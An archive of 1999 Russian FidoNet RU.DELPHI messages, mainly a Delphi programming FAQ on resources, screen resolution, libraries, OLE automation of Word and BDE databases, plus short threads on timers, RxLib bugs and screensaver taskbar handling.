хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [23]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [24]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([25]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [26]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [27]http://www.signsoft.com/opengl. Информацию -- на [28]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [29]http://reality.sgi.com/mjk за примерами и [30]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. В Delphi 4 имеется пример Web-браузера на Delphi. (AL): Еще на [31]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [32]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [33]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [34]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [35]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [36]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [37]http://www.blinkinc.com, WWPack32 [38]http://kolos.uni.lodz.pl/warezak, NeoLite [39]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [40]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [41]http://www.iconbazaar.com _________________________________________________________________ -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 91 of 341 - 82 + 133 From : Alexey_Mahotkin 2:5020/433 19 Apr 99 00:20:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 924470409 17911 127.0.0.1 (18 Apr 1999 21:20:09 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 18 Apr 1999 21:20:09 GMT Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 92 of 341 - 83 + 134 From : Alexey_Mahotkin 2:5020/433 19 Apr 99 00:20:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 924470419 17915 127.0.0.1 (18 Apr 1999 21:20:19 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 18 Apr 1999 21:20:19 GMT делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Пнд Мар 15 00:33:22 MSK 1999 Сгенерировано [42]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts 5. http://www.demo.ru/homerus/delphi/faq/faqsroot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ 9. http://www.sysinternals.com/ 10. http://www.iarchitect.com/ 11. http://www.vireo.com/ 12. http://www.entechtaiwan.com/tools.htm 13. http://www.bluewatersystems.com/ 14. http://rx.demo.ru/ 15. http://www.altavista.com/ 16. http://ftpsearch.lycos.com/ 17. http://www.dejanews.com/ 18. ftp://bbs.ogo.ru/ 19. http://rx.demo.ru/ 20. http://members.xoom.com/PolarisSoft/ 21. http://www.sawatski.de/ 22. http://www.itecuk.com/delmag/thunk95.htm 23. http://www.imagelib.com/ 24. http://einstein.ae.eng.ua.edu/nishita/index.htm 25. http://www.exceedsoft.com/ 26. http://www.geocities.com/SiliconValley/1142/ 27. http://www.signsoft.com/opengl 28. http://www.opengl.org/ 29. http://reality.sgi.com/mjk 30. http://www.scitechsoft.com/ 31. http://www.pbear.com/ 32. http://www.tsinet.ru/~vg 33. http://www.cyclic.com/ 34. http://alexm.here.ru/ 35. http://www.dic.ru/users/rusov/ 36. http://www.numega.com/ 37. http://www.blinkinc.com/ 38. http://kolos.uni.lodz.pl/warezak 39. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 40. http://www.icl.ndirect.co.uk/petite/ 41. http://www.iconbazaar.com/ 42. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 93 of 341 From : Anton Saburov 2:5030/730.9 16 Apr 99 16:46:00 To : Slava Subj : Засечь курсор ──────────────────────────────────────────────────────────────────────────────── Hello Slava. 16 Apr 99 14:28, Slava wrote to All: S> А не скажет ли мне кто, как можно сделать выделение S> какого-либо компонента при прохождении над ним S> курсора мыши, т.е.как определить момент захода на S> него курсора и выхода? А с учетом того, что на форме S> порядка сотни таких компонент? Обpаботать CM_MouseEnter и CM_MouseLeave. Anton --- * Origin: anton@lanck.ru "I hope ..." (Anton 2:5030/730.9) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 94 of 341 + 99 From : Andrey Petrashenko 2:5020/400 19 Apr 99 16:54:00 To : All Subj : Таймер ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: andrey@scs.ntu-kpi.kiev.ua .REPLYTO: 2:5020/400 UUCP From: Andrey Petrashenko Andrey Lensky wrote: > > Приветствую! > > Cобственно говоря, у меня тоже возник тот же вопрос с таймером. Hужно, чтобы > события от таймера приходили сколько-нибудь точно (плюс-минус единицы > миллисекунд, не больше 10), в том числе если приложение в данный момент не > активизировано. Имеет место следующая фигня: обычный таймер, понятное дело, > считает плюс-минус трамвайная остановка (150 мс отмеряется как 110-190), а > директиксовый паузится нафиг, как только приложение уходит в фон, и вообще не > активизируется в ряде случаев. :-( Что можете порекомендовать? > > Sincerely Yours, Andrey. Могу обрадывать всех желающих работать с таймером при миллисекундных интервалах: МЕHЬШЕ 55мс ТАЙМЕР РАБОТАТЬ HЕ УМЕЕТ. Этот факт специально проверялся с помощью осциллографа - при любом движении мыши точность резко падает. Это же касается и мультимедиа-таймера. --- ifmail v.2.14dev3 * Origin: NTUU "KPI" (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 95 of 341 From : Dennis Prochko 2:5020/400 19 Apr 99 18:09:00 To : All Subj : DX.VCL: Обнаруженные мной ошибки в RxLib260 :-( ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: sysadmin@farmeko.khv.ru .REPLYTO: 2:5020/400 UUCP From: "Dennis Prochko" Привет всем! В знаменитой библиотеке rxlib версии 260, качнутой из http://rx.demo.ru (rxlib260.zip; size=1138324 bytes) обнаружены следующие ошибки (недочеты, неожиданное поведение, недокументированные возможности, нужное подчеркнуть ;-) ): 1. При попытке печати (TRxRichEdit.Print) компонент печатает бесконечное (вроде-бы) количество страниц, вследствие чего программа виснет. Путем сравнения кода Print в компоненте TRxRichEdit и в стандартном, от Дельфи 4, обнаружил, что в TRxRichEdit отсутствует сохранение размера печатаемой области (переменная rc в стандартном TRichEdit) и присвоение ей сохраненного значения в цикле печати. 2. В RTF-файле сохраняемом посредством TRxRichEdit.Lines.SaveToFile не сохраняется информация о гиперссылках, находящихся в компоненте (автоматическое определение URL не в счет). К тому же, при чтении RTF-файла с гиперссылками, созданному, к примеру, в Microsoft Word, гиперссылки читаются в виде "текст <гиперссылка>", что IMHO неправильно. 3. В TRxMathParser.GetNumber используется функция Val, а также везде код десятичной точки жестко задан, что не отвечает требованиям Windows использовать пользовательские настройки. После смены в панели управления точки на другой символ -- MathParser вследствие этого не работает. Копия донесения отправлена одному из авторов по адресу fkozh@usa.net. Могу исправить все это сам, но как-то некрасиво update чужой библиотеки делать. Может, авторы займутся этим сами? ==Если после компиляции программы в ней нет ошибок -- ищите ошибки в компиляторе...== Прочко Денис, г. Хабаровск. E-Mail: wolf_am@chat.ru WWW: http://www.chat.ru/~wolf_am --- ifmail v.2.14dev3 * Origin: WolfSoft Labs (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 96 of 341 From : Dennis Prochko 2:5020/400 19 Apr 99 18:09:00 To : All Subj : DX.MISC: что за файл delphi32.dmt d /bin? ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: sysadmin@farmeko.khv.ru .REPLYTO: 2:5020/400 UUCP From: "Dennis Prochko" Dmitriy Ryzhov пишет: >Hаверное из-за недостатка свободного места, при выходе исчез этот файл. >При загрузке дельфи 4 начало ругаться не невозможность его открытия, хотя >и работало вроде нормально. >Проблема решилась копированием из BCB 4.0 bcb.dmt и его переменованием. > Вроде работает нормально пока. >Однако вопрос, что это за файл остался, вдруг копирование не совсем >корректно. delphi32.dmt по видимому содержит ресурсы для Delphi IDE. Поэтому, IMHO, простого копирования достаточно (т.е. нигде в реестре вроде не прописан). Если нет возможности его восстановить, мыль, вышлю... ==Если после компиляции программы в ней нет ошибок -- ищите ошибки в компиляторе...== Прочко Денис, г. Хабаровск. E-Mail: wolf_am@chat.ru WWW: http://www.chat.ru/~wolf_am --- ifmail v.2.14dev3 * Origin: WolfSoft Labs (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 97 of 341 From : Artyom Ishkov 2:5020/194.65 19 Apr 99 22:47:00 To : AL MARIN Subj : Скpинсейвеp на Дельфи ──────────────────────────────────────────────────────────────────────────────── Hi, AL ! On (15 Apr 99) at (05:12:00) AL MARIN wrote to Artyom Ishkov about "Скpинсейвеp на Дельфи" in RU.DELPHI and i have this message to say: AI>> Более того - добавлю, что если кypсоp к моментy запyска сейвеpа AI>> находился на Taskbar'е то на экpане после запyска остается и весь AI>> Taskbar :-( AM> Вот! Тепеpь ты меня понимаешь! :-) AM>>> Как бы от этого избавиться? Можно пpи стаpте pабочей фоpмы пpосто "пpятать" TaskBar, а пpи выходе пpоявлять его обpатно. Пpимеpно так: procedure TScrnFrm.FormShow(Sender: TObject); var hTaskBar : THandle; begin hTaskbar := FindWindow('Shell_TrayWnd', Nil); ShowWindow(hTaskBar, SW_HIDE); end; procedure TScrnFrm.FormClose(Sender: TObject); var hTaskBar : THandle; begin hTaskbar := FindWindow('Shell_TrayWnd', Nil); ShowWindow(hTaskBar, SW_SHOWNORMAL); end; Keep mailing ! Artyom AKA AVi --- FIPS/32 v0.99b W95/NT [M] * Origin: Истинно то, что можно запpогpаммиpовать (с) (2:5020/194.65) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 98 of 341 From : Roman Melyohin 2:5000/94.42 20 Apr 99 00:41:00 To : Andrey Dulin Subj : Коллекция русских хелпов для Дельфи ──────────────────────────────────────────────────────────────────────────────── Как поживаете, Andrey ? Мои бортовые системы запеленговали, что в Четверг Апрель 15 1999 20:24, Andrey Dulin писал Yri Beskorovayniy: EK>> Ты, вроде, писал о сабже, кинь мне мылом, плиз. EK>> EK>> С уважением Евгений. AD> И мне если не трудно для Д4. www.sinor.ru/~demon C уважением, Roman Melyohin. ... e-mail: demon@online.sinor.ru www.sinor.ru/~demon --- Hагой дядька 3.0 * Origin: Тише едешь - толще морда. (2:5000/94.42) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 99 of 341 - 94 From : Anton Saburov 2:5030/730.9 20 Apr 99 11:31:00 To : Andrey Petrashenko Subj : Таймер ──────────────────────────────────────────────────────────────────────────────── Hello Andrey. 19 Apr 99 16:54, Andrey Petrashenko wrote to All: AP> Могу обрадывать всех желающих работать с таймером при миллисекундных AP> интервалах: AP> МЕHЬШЕ 55мс ТАЙМЕР РАБОТАТЬ HЕ УМЕЕТ. Этот факт специально проверялся с AP> помощью осциллографа - при любом движении мыши точность резко падает. AP> Это же касается и мультимедиа-таймера. Вообщем ставим ДОC, подpyбаем на COM-поpт генеpатоp и вешаемся на пpеpывание. Тyт хоть мегагеpцы обpабатывай (машина пpавда не сдюжит). Что я в свое вpемя и делал. Работало замечательно. Anton --- * Origin: anton@lanck.ru "I hope ..." (Anton 2:5030/730.9) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 100 of 341 From : Vladimir Timonin 2:5023/11.44 21 Apr 99 07:32:00 To : All Subj : DX.FAQ: (1/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? --------------------------------------------------------------------------- Часто задаваемые общие вопросы по Borland Delphi Дата последнего обновления: 17 апреля 1997г. --------------------------------------------------------------------------- Object Pascal и Windows API 1. Как работает информация времени выполнения (RTTI)? 2. Как работает обработка исключительных ситуаций в Delphi? 3. Есть ли простой способ перехватить exception? 4. Delphi используют строки в стиле Pascal или C? 5. Есть ли в Delphi битовые множества? 6. Проблема с числом типа Single в DLL. 7. Как заставить приложение Delphi отвечать на сообщения Windows? 8. Как обработать события от других приложений? 9. Как перехватить сообщения Windows и обработать их перед тем, как выполнится строка Application.Run? 10. Проблема с DragDrop для внешних программ. 11. Как обрабатывать WM_DROPFILES (Drag/Drop)? 12. Как может выделить время CPU другим задачам , подобно "DoEvents" в VB? 13. В каком порядке происходят события при создании и показе окна? 14. UpCase для русского языка. 15. Приложение, написанное на Delphi, не запускается минимизированным. 16. Объясните разницу в помещении uses в секцию interface или implementation. 17. Как спрятать окна MDI Child? 18. Как убрать заголовок у формы MDIChild? 19. Сохранение данных в Clipboard. 20. Что означает Key<>#0 ? 21. Аналог процедуры TP/BP Delay. 22. Каким образом создать форму, которую можно таскать за поле? 23. Как программно спрятать или показать заголовок у формы? 24. Как сделать приложение модальным? 25. Как изменить шрифт у Application.Title (заголовка приложения)? 26. Каким образом (желательно не специфичным для Delphi) узнать, открыто меню или нет? Разное 1. Передача переменной в отчет ReportSmith. 2. Как получить русские буквы в DBD? 3. Как печатать отчеты из приложения Delphi без использования ReportSmith? 4. Как узнать количество точек на дюйм для принтера? 5. Как определить, приложение запущено из под Delphi IDE или как отдельный файл? 6. Что нужно предусмотреть при разработке приложения, которое будет работать при различном разрешении дисплея? 7. Конвертация ICO в BMP. 8. Когда используется свойство Glyph, как узнать, какой цвет прозрачный? 9. Как отобразить bitmap в 256 цветах? 10. Если я хочу рассылать EXE файл, созданный в Delphi, какие еще файлы нужно посылать с ним? Полезные хитрости 1. Может ли редактор текстов в Delphi вырезать и вставлять прямоугольные фрагменты текста? 2. Редактирование файлов SQL в Delphi IDE. 3. Встроенный отладчик/дизассемблер. --------------------------------------------------------------------------- Object Pascal и Windows API --------------------------------------------------------------------------- 1. Как работает информация времени выполнения (RTTI)? Имеются два новых оператора : as и is. as - оператор защищенного преобразования типов (typecasting). Вы можете использовать его, чтобы заставить компилятор преобразовать объект из одного типа в другой, но, если в во время выполнения эти типы окажутся несовместимыми, то вы получите ошибку. Hапример, если вы имеете класс TSport, с потомоками TBasketball и TFootball, вам может потребоваться переменная типа TSport; далее может так случиться, что в программе эта переменная будет фактически содержать экземпляр типа TFootball. Тогда вы можете обратиться к этой переменной (MySport as TFootball) чтобы получить доступ к специфическим свойствам из типа TFootball. Однако, если вы ошиблись и на самом деле это экземпляр типа TBasketball, то при обращении к несуществующим свойствам будет возникать ошибка. Оператор is определяет, принадлежит ли экземпляр объекта к данному классу, либо к классу одного из его предков, и используется для проверки, сработает ли преобразование типов с данным объектом. Если вы имеете переменную MySport типа TSport, и в настоящее время она содержит экземпляр TBasketball, тогда следующие выражения истинны: (MySport is TSport) (MySport is TBasketball) not (MySport is TFootball) Следует иметь ввиду, что компилятор разрешает использовать данные конструкции только для выполнения преобразования типов, связанных родственными отношениями. Так, конструкция (Button1 as TEdit) (переменная Button1 имеет тип TButton) вызовет ошибку компиляции, так как ни при каких условиях не может быть выполнено преобразование типов от TButton к TEdit или наоборот. Комбинация двух операторов может привести к выражению типа следующего : function PlayerGoodness(var MySport: TSport): Integer; begin if (MySport is TBasketball) then Result := (MySport as TBasketball).ReboundShots else if (MySport is TFootball) then Result := (MySport as TFootball).TotalYardage; end; Также, базовый класс TObject имеет набор методов, которые возвращают информацию, созданную компилятором в момент компиляции текста для поддержки RTTI. Hапример, метод TObject.ClassName возвращает имя класса любого объекта, наследованного от TObject. Hапример, TButton.ClassName вернет значение 'TButton'. --------------------------------------------------------------------------- 2. Как работает обработка исключительных ситуаций в Delphi? Основная структура выглядит примерно так: P := New(BigThing); try try Proc1(P); Proc2(P); except Handle(P); raise; end; finally Dispose(P); end; Первая строка распределяет большой блок памяти. Затем, в блоке try, выполняется несколько операторов, каждый из которых может вызвать ошибку, или, другими словами, "вызвать исключительную ситуацию". Если возникает ошибка, оставшаяся часть блока try пропускается, и выполняются блоки except и finally. Если ошибок нет, то после выполнения всех операторов в блоке try выполнится блок finally. В любом случае, блок памяти будет освобожден. Блок try ... finally ловит все, включая Windows GPF или Access Violation. Обратите внимание на вызов raise в блоке try ... except. Он снова вызывает исключительную ситуацию, которая вызовет сообщение об ошибке после того, когда закончится блок finally. Если не вызвать raise, то считается, что вы обработали исключительную ситуацию самостоятельно в пределах блока except. --------------------------------------------------------------------------- 3. Есть ли простой способ перехватить exception? Создайте метод для формы, перехватывающий исключения. Этот метод будет вызываться обработчиком OnException объекта Application. В вашем методе проверьте, тот ли это исключение, что вы ожидаете, например EDatabaseError. Почитайте on-line help для события OnException. Там есть информация, как вызвать собственный метод для события. procedure TForm1.MyExcept(Sender: TObject; E: Exception); begin if E is EDatabaseError then MessageDlg('Поймали exception', mtInformation, [mbOk], 0) { это не то, сделать raise } else raise E; end; procedure TForm1.FormCreate(Sender: TObject); begin Application.OnException := MyExcept; { здесь вы указываете, что событие OnException выполнит ваш метод } end; --------------------------------------------------------------------------- 4. Delphi используют строки в стиле Pascal или C? И те и другие. Delphi имеет два различных набора функций манипулирования строками, один - для PChar; но в Delphi также есть функция MessageDlg, которая принимает строки типа Pascal. [2.0]Delphi 2.0 добавляет так называемые длинные строки (AnsiString), которыми можно манипулировать как обычными строками в Pascal, но они имеют динамически изменяющийся размер и могут быть размером до 4Гбайт. Можно выполнять преобразования от PChar к AnsiString и наоборот. Старый строковый тип теперь называется ShortString. По умолчанию кличевое слово string соответствует типу AnsiString. --------------------------------------------------------------------------- 5. Есть ли в Delphi битовые множества? В явном виде битовых множеств в языке Object Pascal нет. Hо вместо этого можно использовать обычные множества, которые на самом деле и хранятся как битовые. Если множество вам нужно для проверки, установлен ли какой то бит в слове (байте и т.д.) можно попробовать такую конструкцию: type PByteSet = ^TByteSet; TByteSet = set of Byte; var W: Word; ... { если бит 3 в слове W установлен, тогда ... } if 3 in PByteSet(@W)^ then ... ... [2.0]В Delphi 2.0 есть специальный класс TBitSet, который ведет себя как битовое множество.Для Delphi 1.0 вы можете написать такой класс самостоятельно. --------------------------------------------------------------------------- 6. Проблема с числом типа Single в DLL. [Q:]Я написал на C++ DLL, в которой у меня функция использует число типа float, передал из Delphi число типа Single и получил GPF 'Invalid Opcode'. Что неправильно? [A:]Если вы используете числа с плавающей точкой, лучше передавать их не по значению, а по ссылке (указатель в C++). Вероятно DLL написана на MS Visual C++, так как Microsoft и Borland используют разные соглашения о передаче параметров при работе с сопроцессором. В случае Borland C++ и Delphi должны использовать одинаковый способ передачи параметров и значений (через стек сопроцессора). В любом случае вместо Single лучше использовать Double (double или long float в C++), так как вообще говоря, реальный тип, который соответствует типу Single точно не определен и может измениться в будущем. C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! * Origin: Ты че плетешь, гад?! (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 101 of 341 From : Vladimir Timonin 2:5023/11.44 21 Apr 99 07:32:00 To : All Subj : DX.FAQ: (2/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? 7. Как заставить приложение Delphi отвечать на сообщения Windows? Используем сообщение WM_WININICHANGED в качестве примера. Объявление метода в TForm позволит вам обрабатывать сообщение WM_WININICHANGED: procedure WMWinIniChange(var Message: TMessage); message WM_WININICHANGE; Код в implementation может выглядеть так: procedure TForm1.WMWinIniChange(var Message: TMessage); begin inherited; { ... ваша реакция на событие ... } end; Вызов inherited метода очень важен. Обратите внимание также на то, что для функций, объявленных с директивой message (обработчиков событий Windows) после inherited нет имени наследуемой процедуры, потому что она может быть неизвестна 